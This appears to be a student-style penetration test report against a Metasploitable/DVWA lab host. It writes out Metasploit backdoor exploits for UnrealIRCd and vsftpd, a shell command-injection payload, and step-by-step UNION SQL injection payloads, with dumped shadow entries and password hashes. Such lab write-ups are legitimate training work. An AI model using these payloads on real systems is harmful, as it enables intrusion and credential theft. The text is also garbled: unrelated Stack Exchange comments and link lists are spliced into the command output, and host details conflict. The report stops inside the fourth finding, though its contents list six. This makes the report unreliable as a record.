

Penetration Test Report

ZHIYUN Co., Ltd.

Oct 23th,2025

UUZZ Co., Ltd

160 Princess St
Winnipeg, MB
R3B 1K9

Tel: 1-200-000-0000
Fax: 1-204-000-0000
Email: fli5@academic.rrc.ca
Web: www.uuzz.com



Contents

Executive Summary	3
Summary of Results	3
Attack Narrative	5
F-01 — UnrealIRCd 3.2.8.1 Backdoor	5
F-02 — VSFTPD 2.3.4 Backdoor	9
F-03 — DVWA Command Execution Injection	11
F-04 — DVWA SQL Injection	14
F-05 — SSH Brute-Force (Medusa) Attack	18
F-06 — Credential Harvesting & Offline Cracking (John)	20
Conclusion	24
Recommendations	25
Risk Rating	26
Appendix A: Vulnerability Detail and Mitigation	27
UnrealIRCd 3.2.8.1 Backdoor	27
vsftpd 2.3.4 Backdoor	27
Command Injection	28
SQL Injection	28
Appendix B: About UUZZ	30



Executive Summary

All activities were conducted in a manner that simulated a malicious actor engaged in a targeted attack against ZHIYUN Co., Ltd. with the goals of:

- Identifying if a remote attacker could penetrate a group's defences
- Determining the impact of a security breach on:
 - Confidentiality of the company's private data
 - Internal infrastructure and availability of a company's information systems

Efforts were placed on the identification and exploitation of security weaknesses that could allow a remote attacker to gain unauthorized access to organizational data. The attacks were conducted with the level of access that a general Internet user would have. The assessment was conducted in accordance with the recommendations outlined in NIST SP 800-115¹ with all tests and actions being conducted under controlled conditions.

Summary of Results

During an external assessment of the target host 192.168.56.103, we replicated and confirmed several exploitable attack vectors: the Unreal ICQ 3.2.8.1 backdoor remote code execution, the vsftpd 2.3.4 backdoor, DVWA web application command injection, multiple SQL injection points, and credential harvesting followed by offline cracking and SSH brute-force attacks. These vectors enabled us to obtain shells, view /etc/passwd, extract database password hashes, and carry out offline cracking, which could potentially lead to full system compromise. Immediate measures are advised: isolate or block externally exploitable services, change or rotate weak or compromised credentials, fix web application injection vulnerabilities, and implement detection rules:

¹ <http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf>



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

ID	Finding / Attack	Risk Level	Affected Asset	Quick Mitigation
F-01	UnrealIRCd 3.2.8.1 backdoor	High	192.168.56.103:6697	Immediately block/upgrade/replace service
F-02	vsftpd 2.3.4 backdoor	Critical	192.168.56.103:21	Remove/upgrade FTP service or use SFTP/FTPS
F-03	DVWA Command Execution Injection	High	192.168.56.103/DVWA	Fix input validation; parameterize commands
F-04	DVWA SQL Injection	High	192.168.56.103/DVWA	Parameterize queries; least-privilege DB account
F-05	SSH brute-force via Medusa	High	192.168.56.103	Disable password auth; enable SSH keys & rate-limiting
F-06	Credential Harvesting & Offline Cracking (John)	High	Multiple accounts	Force resets; adopt strong password policies & MFA



Attack Narrative

F-01 — UnrealIRCd 3.2.8.1 Backdoor

1. Discover open ports and services

```
nmap -sV -O 192.168.56.20 -p1-65535
```

The screenshot shows a terminal window on a Kali Linux desktop environment. The terminal title is 'feng@kali-os: ~'. The window contains the output of an nmap scan. The output shows various open ports and their associated services and versions. Key findings include:

- Open ports: 21/tcp (ftp), 22/tcp (ssh), 23/tcp (telnet), 25/tcp (smtp), 53/tcp (domain), 80/tcp (http), 111/tcp (rpcbind), 139/tcp (netbios-ssn), 445/tcp (netbios-ssn), 512/tcp (exec), 513/tcp (login), 514/tcp (shell), 1099/tcp (java-rmi), 1524/tcp (bindshell), 2049/tcp (nfs), 2121/tcp (ftp), 3306/tcp (mysql), 3632/tcp (distccd), 5432/tcp (postgresql), 5900/tcp (vnc), 6000/tcp (X11), 6667/tcp (irc), 6697/tcp (irc), 8009/tcp (ajp13), 8180/tcp (http), 8787/tcp (drb), 43982/tcp (status), 50861/tcp (nlockmgr), 51053/tcp (java-rmi), 60729/tcp (mountd).
- Services: vsftpd 2.3.4, OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0), Postfix smtpd, Apache httpd 2.2.8 ((Ubuntu) DAV/2), Samba smbd 3.X - 4.X (workgroup: WORKGROUP), Netkit rsh rexecd, OpenBSD or Solaris rlogind, Netkit rshd, GNU Classpath grmiregistry, Metasploitable root shell, MySQL 5.0.51a-Ubuntu5, distcc v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)), PostgreSQL DB 8.3.0 - 8.3.7, VNC (protocol 3.3), ProFTPD 1.3.1.
- OS: Linux 2.6.9 - 2.6.33.
- MAC Address: F6:D4:AE:27:9F:27 (Unknown).
- Device type: general purpose.
- Running: Linux 2.6.X
- OS CPE: cpe:/o:linux:linux_kernel:2.6
- OS details: Linux 2.6.9 - 2.6.33
- Network Distance: 1 hop
- Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

At the bottom of the output, it says: "OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>. Nmap done: 1 IP address (1 host up) scanned in 139.62 seconds".

Figure 1 - nmap_full_192.168.56.103



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

2. Loading modules and configurations in Metasploit

```
msfconsole
Use exploit/unix/irc/unreal_ircd_3281_backdoor
Show options
Set RHOSTS 192.168.56.103
```

The screenshot shows the msfconsole interface. The user has loaded the 'exploit/unix/irc/unreal_ircd_3281_backdoor' module. They are then viewing its options, setting the RHOSTS to 192.168.56.103, and finally executing the exploit.

```
feng@kali-os: ~
feng@kali-os: ~
msf6 > use exploit /unix/irc/unreal_ircd_3281_backdoor
Matching Modules
=====
#  Name
- 0  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12    excellent  No   UnrealIRCD 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor

[*] Using exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
=====
Name      Current Setting  Required  Description
CHOST          no           The local client address
CPORT          no           The local client port
Proxies        no           A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS         yes          The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT          6667         yes          The target port (TCP)

Exploit target:
=====
Id  Name
-- 
0  Automatic Target

View the full module info with the info, or info -d command.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > Set RHOSTS 192.168.56.103
[-] Unknown command: Set. Did you mean set? Run the help command for more details.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.56.103
RHOSTS => 192.168.56.103
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
```

Figure 2 - msf_session_unrealicq

3. Exploit and set a payload when an error indicates that a payload has not been selected.

A result similar to “command shell session 1 opened ...” indicates that it has been hacked.



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

feng@kali-os: ~

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads

#	Name	Disclosure Date	Rank	Check	Description	Labels
0	payload/cmd/unix/adduser	. . .	normal	No	Add user with useradd	
1	payload/cmd/unix/bind_perl	. . .	normal	No	Unix Command Shell, Bind TCP (via Perl)	
2	payload/cmd/unix/bind_perl_ipv6	. . .	normal	No	Unix Command Shell, Bind TCP (via perl) IPv6	
3	payload/cmd/unix/bind_ruby	. . .	normal	No	Unix Command Shell, Bind TCP (via Ruby)	
4	payload/cmd/unix/bind_ruby_ipv6	. . .	normal	No	Unix Command Shell, Bind TCP (via Ruby) IPv6	
5	payload/cmd/unix/generic	. . .	normal	No	Unix Command, Generic Command Execution	
6	payload/cmd/unix/reverse	. . .	normal	No	Unix Command Shell, Double Reverse TCP (telnet)	
7	payload/cmd/unix/reverse_bash_telnet_ssl	. . .	normal	No	Unix Command Shell, Reverse TCP SSL (telnet)	
8	payload/cmd/unix/reverse_perl	. . .	normal	No	Unix Command Shell, Reverse TCP (via Perl)	
9	payload/cmd/unix/reverse_perl_ssl	. . .	normal	No	Unix Command Shell, Reverse TCP SSL (via perl)	
10	payload/cmd/unix/reverse_ruby	. . .	normal	No	Unix Command Shell, Reverse TCP (via Ruby)	
11	payload/cmd/unix/reverse_ruby_ssl	. . .	normal	No	Unix Command Shell, Reverse TCP SSL (via Ruby)	
12	payload/cmd/unix/reverse_ssl_double_telnet	. . .	normal	No	Unix Command Shell, Double Reverse TCP SSL (telnet)	

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload 3

payload => cmd/unix/bind_ruby

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] 192.168.56.103:6667 - Connected to 192.168.56.103:6667 ...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.56.103:6667 - Sending backdoor command...
[*] Started bind TCP handler against 192.168.56.103:4444
[*] Command shell session 1 opened (192.168.56.102:34653 → 192.168.56.103:4444) at 2025-10-23 15:14:16 -0500

Figure 3 - msf_exploit_unrealicq

4. Minimal, non-destructive verification (read-only):

```
/usr/bin/whoami  
Cat /etc/passwd
```

Outputting the “root” shows that we obtain the root shell.

```
feng@kali-os: ~
```

```
/usr/bin/whoami  
root  
cat /etc/passwd
```

Output:

```
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/sbin:/bin/sh  
bin:x:2:2:bin:/bin/sh  
sys:x:3:3:sys:/dev:/bin/sh  
sync:x:4:65534:sync:/bin/sh  
games:x:5:60:games:/usr/games:/bin/sh  
man:x:6:12:man:/var/cache/man:/bin/sh  
lp:x:7:7:lp:/var/spool/lpd:/bin/sh  
mail:x:8:8:mail:/bin/sh  
news:x:9:9:news:/var/spool/news:/bin/sh  
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh  
proxy:x:13:13:proxy:/bin/sh  
www-data:x:33:33:www-data:/var/www:/bin/sh  
backup:x:34:34:backup:/var/backups:/bin/sh  
list:x:38:38:Mailing List Manager:/var/list:/bin/sh  
ircd:x:39:39:ircd:/var/run/ircd:/bin/sh  
gnat:x:40:40:GNAT Report System (admin):/var/lib/gnat:/bin/sh  
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh  
libuid1:x:100:101::/var/lib/libuid1:/bin/sh  
dhcpc:x:101:102::nonexistent:/bin/false  
syslog:x:102:103::/home/syslog:/bin/false  
klog:x:103:104::/home/klog:/bin/false  
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin  
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash  
bind:x:105:113::/var/cache/bind:/bin/false  
postfix:x:106:115::/var/spool/postfix:/bin/false  
postgres:x:108:117:PostgreSQL Adminstrator,,,:/var/lib/postgresql:/bin/bash  
mysql:x:109:118:mysql Server,,,:/var/lib/mysql:/bin/false  
tomcat5:x:110:65534::/usr/share/tomcat5.5:/bin/false  
dictcdx:x:111:65534::/bin/false  
user:x:1001:1001:just a user,111,,,:/home/user:/bin/bash  
service:x:1002:1002,,,:/home/service:/bin/bash  
telnetd:x:112:120::/nonexistent:/bin/false  
proftpd:x:113:65534::/var/run/proftpd:/bin/false  
statd:x:114:65534::/var/lib/nfs:/bin/false  
snmp:x:115:65534::/var/lib/snmp:/bin/false  
cartman:x:1003:1003,,,:/home/cartman:/bin/bash  
kenny:x:1004:1004,,,:/home/kenny:/bin/bash  
kyle:x:1005:1005,,,:/home/kyle:/bin/bash  
stan:x:1006:1006,,,:/home/stan:/bin/bash
```

Figure 4 - screenshot_unreal_shell



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

Cat /etc/shadow

```
feng@kali-os: ~
```

```
cat /etc/shadow
root:$1$avpfB1x0z8wPUF9tV..DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$FUXGBP0t$Myi3Up0zQjqz4s5wFd910:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7::: Ahhh thanks for that I thought I was going crazy lol.
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7::: I payloaded (to what)?
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7::: whatever payload you want to use. You can let payloads with -show payload -info mode also features
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7::: Building this exploit : exploit/unix/local/read_frd_32bit_backdoor
libuuid:*:14684:0:99999:7:::
dnscrypt:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
ktb:*:14684:0:99999:7::: Exploit failed. An exploitation error occurred.
ldhndUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:*:1$W107Jc5Rc/zCw3mLtUWA.ihZjA5:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:*:1$R0r51k.xMgQqZUuO5pAoUvfJhfCYe:14685:0:99999:7:::
mysql!:*:14685:0:99999:7:::
mysqld!:*:14691:0:99999:7::: MySQL version
tomcat55!:*:14691:0:99999:7:::
distccd!:*:14698:0:99999:7:::
user:$1$HEu9xrH5k..o3G93DGoxIi1QKkPmUgZ0:14699:0:99999:7:::
service:$1$KR3ue7JZ0$7GxELDpr5Ohp6cjZ38u/:14715:0:99999:7:::
telnetd!:*:14715:0:99999:7:::
proftpd!:*:14727:0:99999:7:::
statd!*:15474:0:99999:7::: statd is not running. I believe its the latest.
snmp:*:15480:0:99999:7:::
cartman:$1$ogqmJW6A$J8mr64p5APnS3BcpXEds/:18191:0:99999:7:::
kenny:$1$w.tiz2YI$$SGNejj73WReb0YK.4KSe.:18191:0:99999:7:::
kyle:$1$nmF..9yIM5gZxtK1kvJyYLMPSnQSbEx/:18191:0:99999:7:::
stan:$1$WMR6hou$MUCCjjpTDwvCoA/Gnettke0:18191:0:99999:7:::
```

Figure 5 - cat_shadow_unrealiq

Impact: If a root shell is obtained, the attacker can execute arbitrary commands, read sensitive files, install backdoors, and move laterally.

Immediate remediation: Block external access to ports 6697/6667; if compromised, isolate the host, rebuild or replace the affected binary, and validate file integrity.



F-02 — VSFTPD 2.3.4 Backdoor

1. Discover open ports and services

See figure: [\(nmap full 192.168.56.103\)](#)

2. Loading modules and configurations in Metasploit

```
msfconsole
Use exploit/unix/ftp/vsftpd_234_backdoor
Show options
Set RHOSTS 192.168.56.103
```

The screenshot shows the msfconsole interface with the following command history:

```
feng@kali-os: ~ feng@kali-os: ~ kyle@metasploitable: ~
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name   Current Setting  Required  Description
CHOST      no           The local client address
CPORT      no           The local client port
Proxies    no           A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS    yes          This is the target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html#recognize-the-host-has-and-know-where-to-connect-to. Of course you can use any other name in stead.
RPORT      21          The target port (TCP)
Questions:
Exploit target:
  Unanswered questions:
    Id  Name
    0  Automatic
Tags:
View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.103
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name   Current Setting  Required  Description
CHOST      no           The local client address
CPORT      no           The local client port
Proxies    no           A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS    192.168.56.103 yes          The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html#recognize-the-host-has-and-know-where-to-connect-to
RPORT      21           The target port (TCP)
Exploit target:
  Id  Name
  0  Automatic
  Show 4 more comments
```

Below the command history, there is a sidebar titled "Related" with several links to forum posts:

- Having issues creating a SOCKS5 Proxy. Can not Tunnel device.
- vagrant box for ubuntu/xenial64 and putty on Windows 10 host.
- Lubuntu 18.04 can't SSH to Cisco Router: no matching key exchange method found. Their offer: diffie-hellman-group1-sha1.
- Ubuntu Core on Raspberry Pi 4 8Gb: trying to SSH into it, and I am being denied? (using PuTTY).
- Windows Terminal: "ssh: connect to host 12.3.4.56 port 22: Permission denied"
- Legacy SFTP Connection to Ubuntu 22.04 LTS
- FTP connection to Ubuntu 22.04 for an old Cisco application
- Can't log in after changing default port 22 on Oracle Cloud VM Ubuntu Server
- OpenSSH: "no matching host key type found" but it's actually there?

At the bottom right, there is a link: "Is this quick link considered closed?"

Figure 6 - msf_session_vsftpd

3. Exploit it, and minimal, non-destructive verification

A result similar to “command shell session 1 opened ...” indicates that it has been hacked.

“UID: uid=0(root), gid=0(root)” shows that we obtain a root shell.



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

```
feng@kali-os:~ [feng@kali-os:~] [kyle@metasploitable:~]
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.56.103:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.56.103:21 - USER: feng Please specify the password.
[*] 192.168.56.103:21 - Backdoor service has been spawned, handling ...
[*] 192.168.56.103:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.102:35755 → 192.168.56.103:6200) at 2025-10-23 15:43:06 -0500
```

This has the added benefit that you don't need to type out the IP address. Instead, ssh will recognize the host name and know where to connect to. Of course you can use any other name in its stead.

Share Improve this answer Follow edited Oct 13, 2016 at 9:59 answered Oct 12, 2016 at 13:12 David Foerster Kalle Elmer 36.9k 56 58 152 0.296 5 29 42

5 I believe that these are solutions on the Ubuntu side. Is there a simple option on the NAS side? It would be nice to understand all options and seize the opportunity to harden any security weakness. Maybe this is another question for another thread? Very nice explanation \ response — gatorback Oct 13, 2016 at 12:31

6 Is it possible to set this globally? Like wildcard IP? 0.0.0.0 doesn't work — podarok Jan 19, 2017 at 14:33 ✓

7 @podarok, try Host * — brownian May 31, 2017 at 9:25

If you're also seeing DH GEX group out of range: serverfault.com/a/809082/55544 — Jonathan Reinhard Sep 21, 2020 at 16:04

The latest OpenSSH version disables RSA. If you run into the error now, you should use +ssh-rsa instead of +ssh-dss — Fabian Schmiegler Oct 11, 2021 at 8:27

news:x:9:9:news:/var/spool/news:/bin/sh more comments

uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

proxy:x:13:13:proxy:/bin/sh

www-data:x:33:33:www-data:/var/www:/bin/sh

backup:x:34:34:backup:/var/backups:/bin/sh me here because Bitbucket returns the following after an update to OpenSSH 8.8:

list:x:34:34:Mailing List Manager:/var/list:/bin/sh

irc:x:39:39:ircd:/var/run/ircd:/bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

nobody:x:65534:nobody:/nonexistent:/bin/sh

Related

- Having issues creating a SOCKS5 Proxy. Can not Tunnel device
- vagrant box for ubuntu/xenial64 and putty on Windows 10 host
- Lubuntu 18.04 can't SSH to Cisco Router: no matching key exchange method found. Their offer: diffie-hellman-group1-sha1
- Ubuntu Core on Raspberry Pi 4 8Gb: trying to SSH into it, and I am being denied? (using PutTY)
- Windows Terminal: "ssh: connect to host 12.3.4.56 port 22: Permission denied"
- Legacy SFTP Connection to Ubuntu 22.04 LTS
- SFTP connection to Ubuntu 22.04 for an old Cisco application
- Can't log in after changing default port 22 on Oracle Cloud VM Ubuntu Server
- OpenSSH: "no matching host key type found" but it's actually there?

Hot Network Questions

- Is this quick link considered closed?

Figure 7 - msf_exploit_vsftpd

Impact: If a root shell is obtained, the attacker can execute arbitrary commands, read sensitive files, install backdoors, and move laterally.

Immediate remediation: disable the vulnerable FTP service, upgrade or replace it with a secure alternative (SFTP/FTPS), and restrict access.



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

F-03 — DVWA Command Execution Injection

1. Discover open ports and services

See figure: [\(nmap_full_192.168.56.103\)](#)

Our nmap scan of Metasploitable showed us that port 80 was running Apache. This means a website is running on our machine.

2. Launch the DVWA website on 192.168.56.103

The screenshot shows a terminal window titled 'feng@kali-os:~' and a browser window titled 'Metasploitable2 - Linux'. The terminal displays the output of an nmap scan for port 80, showing various network interfaces and their configurations. The browser window shows the DVWA login page with the URL 'http://192.168.56.103'. The page includes a warning about exposing the VM to an untrusted network, contact information, and a link to the DVWA documentation.

```
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 brd 00:00:00:00:00:00 scope host lo
    valid_lft forever preferred_lft forever
inet6 ::1/128 brd 00:00:00:00:00:00 scope host ip6loop
    valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default
    link/ether 00:b9:88:2f:9e:35 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.4/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
        valid_lft 3569sec preferred_lft 3119sec
    inet6 fd8b:92:ch:ab:fd:1f04:171:4bcd brd ff:ff:ff:ff:ff:ff:ff:ff/64 scope global dynamic mngtmpaddr nopr
        valid_lft 2591964sec preferred_lft 604764sec
    inet6 fe80::2b04:8c67:e6ae:6c8c/64 scope link
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default
    link/ether e2:2a:ed:d2:40:e6 brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.102/24 brd 192.168.56.255 scope global dynamic noprefixroute eth1
        valid_lft 3569sec preferred_lft 3119sec
    inet6 fe80::e22a:edff:fed2:40e6/64 scope link
        valid_lft forever preferred_lft forever
(feng@kali-os) [-]
└─$ sudo nmap -sv -O 192.168.56.103 -p1-65535
[sudo] password for feng:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-23 14:20 CDT
Nmap scan report for 192.168.56.103
Host is up (0.001s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet   Linux telnetd
25/tcp    open  smtp     Postfix smtpd
```

Figure 8 - website_session_dvwa

3. Set the security level to Low on the DVWA



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

The screenshot shows a browser window for 'Damn Vulnerable Web App' at <http://192.168.56.103/dvwa/security.php>. The main content area displays the DVWA Security logo and the 'Script Security' section, which states 'Security Level is currently **low**'. A dropdown menu shows 'low' selected. To the right, a terminal window titled 'feng@kali-os: ~' shows the output of an Nmap scan of the target host (192.168.56.103). The output includes details about various open ports and services, such as port 22 (ssh), port 25 (smtp), and port 80 (http).

Figure 9 - set_security_dvwa

4. Try the following command chain to see what we can attack:

```
192.168.56.22; cat /etc/shadow
```

The contents of the passwd file showed us we can launch an attack!!!



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

The screenshot shows a penetration test interface. On the left, a sidebar lists various attack types: Home, Instructions, Setup, Brute Force, Command Execution (highlighted in green), CSRF, File Inclusion, SQL Injection, SQL Injection (Blind), Upload, XSS reflected, XSS stored, DVWA Security, PHP Info, About, and Logout. The main content area is titled "Vulnerability: Command Execution" and contains a form for "Ping for FREE" with an input field and a "submit" button. Below the form, a terminal window displays the output of a ping command to 192.168.56.103, showing details like sequence numbers, time, and round-trip times. To the right of the terminal is another terminal window showing a root shell session on a Kali Linux host, with commands like nmap and a password entry visible.

Figure 10 - cex_exploit_dvwa

Impact: Arbitrary commands can be executed by the web process, which can be leveraged for data disclosure or privilege escalation.

Remediation: Implement strict input validation, avoid passing user input to shell commands, use parameterized APIs or sanitized libraries; add WAF rules and restrict access to sensitive pages.



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

F-04 — DVWA SQL Injection

1. Based on the result of [F-03 — DVWA Command Execution Injection](#), we create a file named dvwa_users.txt to save the user's name:
2. Select SQL Injections and use the 'order by' clause to determine the number of columns in the query

```
%' or 1=1 order by 2 #
```

The following content showed that the query includes two columns!!!

The screenshot shows a browser window with the DVWA SQL Injection page. The URL is http://192.168.56.103/dvwa/vulnerabilities/sql/. On the left, there's a sidebar with various attack types. The 'SQL_Injection' option is selected and highlighted in green. The main content area has a form for 'User ID:' with the value '%' OR 1=1 order by 2 #. Below it, several user records are listed, each with a different first name and surname. To the right of the DVWA interface is a terminal window titled 'feng@kali-os:~'. It shows a shell prompt and the command \$, indicating a successful exploit.

Figure 11 - detect_columns_dvwa

3. Let's get the database's information using union SQL command

```
%' or 0=0 union select null, database() #
```

The following content showed that the database name is dwva!!!



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

The screenshot shows the DVWA SQL Injection page. On the left, a sidebar lists various attack types: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection (selected), SQL Injection (Blind), Upload, XSS reflected, XSS stored, DVWA Security, PHP Info, About, and Logout. The main content area is titled "Vulnerability: SQL Injection". It shows a user input field with the value "1 union select null, database" and a "Submit" button. Below the input field, several SQL injection payloads are listed in red, each followed by a set of credentials (First name and Surname). To the right of the DVWA interface is a terminal window titled "feng@kali-os:~" showing the output of a nmap scan. The nmap command was "sudo nmap -sV -O 192.168.56.103 -p1-65535". The output lists various open ports and their services, including MySQL, PostgreSQL, Apache, and others.

Figure 12 - detect_database_dvwa

4. Let's get info about tables in the database using the union SQL command

```
%' and 1=0 union select null, table_name from information_schema.tables #
```

The following output showed that the database has a table called users!!!

The screenshot shows the DVWA SQL Injection page. The user input field contains "%' and 1=0 union select null, table_name from information_schema.tables #". The resulting output in the browser shows a list of table names: TABLES, TABLE_CONSTRAINTS, TABLE_PRIVILEGES, and TRIGGERS. To the right of the DVWA interface is a terminal window titled "feng@kali-os:~" showing the output of the same SQL query. The output lists the same table names: TABLES, TABLE_CONSTRAINTS, TABLE_PRIVILEGES, and TRIGGERS.

Figure 13 - detect_tables_dvwa



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

- Let's get a list of columns available to the users using the union SQL command

```
%' and 1=0 union select null, column_name from information_schema.columns where table_name = 'users' #
```

The table contains below columns:

user_id
first_name
last_name
user
password
avatar

The screenshot shows the DVWA application interface. On the left, a sidebar lists various attack types: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection (selected), SQL Injection (Blind), Upload, XSS reflected, XSS stored, DVWA Security, PHP Info, About, and Logout. The main content area has a form titled "User ID:" with a text input containing the SQL injection payload. Below the input is a "Submit" button. To the right of the form, there is a "More info" section with three links: <http://www.securiteam.com/securityreviews/5DP0N1P76E.html>, http://en.wikipedia.org/wiki/SQL_injection, and <http://www.unixwiz.net/t ech tips/sql-injection.html>. At the bottom left, it says "Username: admin", "Security Level: low", and "PHPIDS: disabled". At the bottom right, there are "View Source" and "View Help" buttons. On the right side of the screen, a terminal window titled "feng@kali-os: ~" is open, displaying an nmap scan report for the host 192.168.56.103. The report lists various open ports and their services, such as vsftpd, OpenSSH, Linux telnetd, Postfix smtpd, Apache httpd, Samba smbd, netkit rshd, and MySQL.

Figure 14 - user_columns_dvwa

- Retrieve all records from the users table using the UNION SQL command with the concat() function

```
%' and 1=0 union select null, concat(first_name,0x0a, last_name,0x0a,user,0x0a,password) from users #
```



PENETRATION TEST REPORT - ZHIYUN Co., Ltd

This gives me the following list of MySQL hashes:

```
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99
```

The screenshot shows a browser window for the Damn Vulnerable Web Application (DVWA) running on port 8080. The URL is http://192.168.56.103/dvwa/vulnerabilities/sqlinjection/?id=%25'+and+1%3D0+union+select+*+from+users. The DVWA interface displays a list of users from the database:

User ID	First name	Surname
0	admin	admin
1	Gordon	Brown
2	1337	Smith
3	Pablo	Cassio
4	pablo	Smith
5	5f4dcc3b5aa765d61d8327deb882cf99	Bob

To the right of the DVWA interface is a terminal window titled "feng@kali-os: ~" showing the results of a nmap scan:

```
feng@kali-os: ~
File Actions Edit View Help
fen...:~ fen...:~ fen@ka...cuments
feng@kali-os: ~
[~]$ sudo nmap -sV -o 192.168.56.103 -p1-65535
[sudo] password for feng:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-23 14:50
Nmap scan report for 192.168.56.103
Host is up (0.0014s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 2.3.4
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 8ubuntu1
23/tcp    open  telnet  Linux telnetd
25/tcp    open  smtp    Postfix smtpd
53/tcp    open  domain  ISC BIND 9.17.0
80/tcp    open  http   Apache httpd 2.2.8 ((Ubuntu))
111/tcp   open  rpcbind 2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup)
512/tcp   open  exec    netkit-rsh rexecd
513/tcp   open  login   OpenBSD or Solaris rlogin
514/tcp   open  shell   Netkit rsh
1099/tcp  open  java-rmi  GNU Classpath grmregistry
1524/tcp  open  bindshell Metasploitable root shell
2049/tcp  open  nfs    2-4 (RPC #100003)
2121/tcp  open  ftp    ProFTPD 1.3.1
3306/tcp  open  mysql  MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd distccd v1 (GNU) 4.2.0 (Ubuntu)
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc    VNC (protocol 3.3)
